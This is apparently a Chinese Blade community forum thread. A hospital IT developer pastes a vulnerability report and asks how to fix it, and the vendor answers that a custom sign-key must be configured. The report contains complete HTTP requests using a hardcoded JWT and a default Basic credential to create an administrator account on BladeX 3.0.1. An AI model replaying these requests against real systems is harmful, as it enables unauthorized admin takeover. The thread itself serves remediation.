一、该问题的重现步骤是什么?
漏洞所在的IP地址(URL):http://xxxx:4434/api/blade-user/submit
验证过程如下所示:
漏洞利用原理简要描述 blade jwt硬编码,可直接添加管理员 漏洞利用详细步骤http://ip:4434/api/blade-user/submit
首页直接发送如下数据包1.获取到高权限用户idGET /api/blade-system/searchole HTTP/1.1Host: ip:4434Authorization: Basic c2FiZXI6c2FiZXJfc2VjcmV0Blade-Auth: bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ-wJM9E_MJmfCuUCZ38
2.直接添加用户POST /api/blade-user/submit HTTP/1.1Host: ip:4434Authorization: Basic c2FiZXI6c2FiZXJfc2VjcmV0Blade-Auth: bearer eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJhY2NvdW50IjoiYWRtaW4ifQ.SOfK7eTptU9abT6BjhdO0KJnZ-wJM9E_MJmfCuUCZ38Content-Type: application/jsonContent-Length: 249{"account":"cxk666","realName":"cxk666","userType":1,"tenantId":"000000","password":"2025SecXZXD__cxk666","password2":"2025SecXZXD__cxk666","name":"cxk666","roleId":"1123598816738675201","deptId":"1123598813738675201","postId":"1123598817738675201"}
http://ip:4434/api/blade-user/submitcxk666/2025SecXZXD__cxk666登录为最高权限,管理700+用户
漏洞危害
影响程度:高危
处置建议:
针对逻辑缺陷漏洞,建议系统开发人员:完善代码逻辑,修复不合理的请求方式
所用框架:3.0.1
项目是几年前的了,之前几次通报当时处理了,今天又被通报这个了。
2020年开始就支持配置signkey解决,这问题已经和你们说过很多次了。
如果配置了也没用,就把重现步骤发出来,看看是怎么用固定的jwt来调用的。
现在不负责任的人很多,不验证就通报也有可能,你们如果修改了signkey要怼回去,让他现场演示给你们看怎么越权。
验证也很简单,让他提供一个jwt给你,你们去调用系统,看看能不能调用接口就完事了。(如果他用你们提供的账号密码去申请的token则不作数,必须是不知道账号密码情况下自己创建的token)
这又是另外一个项目了,不是之前那个项目,之前那个能跟厂家沟通上。现在这个是给一个县医院几年前搞的,前几次的通报也没有这个问题。现在市里通报,安防厂家都还不知道怎么联系。也许有的解决是一样的,问题描述不一样,保险起见,我都还是发贴问一下,你也别嫌麻烦。因为就这一个通报,院领导被喊去开会,我们遭殃了,项目验收成问题了,还质疑我们研发能力,头疼。
具体步骤是不是只要yml配一下自定义signkey就行了?代码这边还要怎么改吗?
只需要修改sign-key的配置就行了,配置完重启,然后用他们提供的硬编码的jwt来测试调用接口,如果返回401就说明配置好了
这个安全文档你们也可以再看一遍:https://center.javablade.com/blade/BladeX-Safety
一般配置了sign-key后可以抵挡99%的漏洞,剩下的都是要知道账号密码登录系统之后才能操作的低危漏洞,不知道账号密码就无法触发。
每个问题什么版本开始解决的上面都有写,如果当前项目低于文档里写的版本,就需要操作一下。
扫一扫访问 Blade技术社区 移动端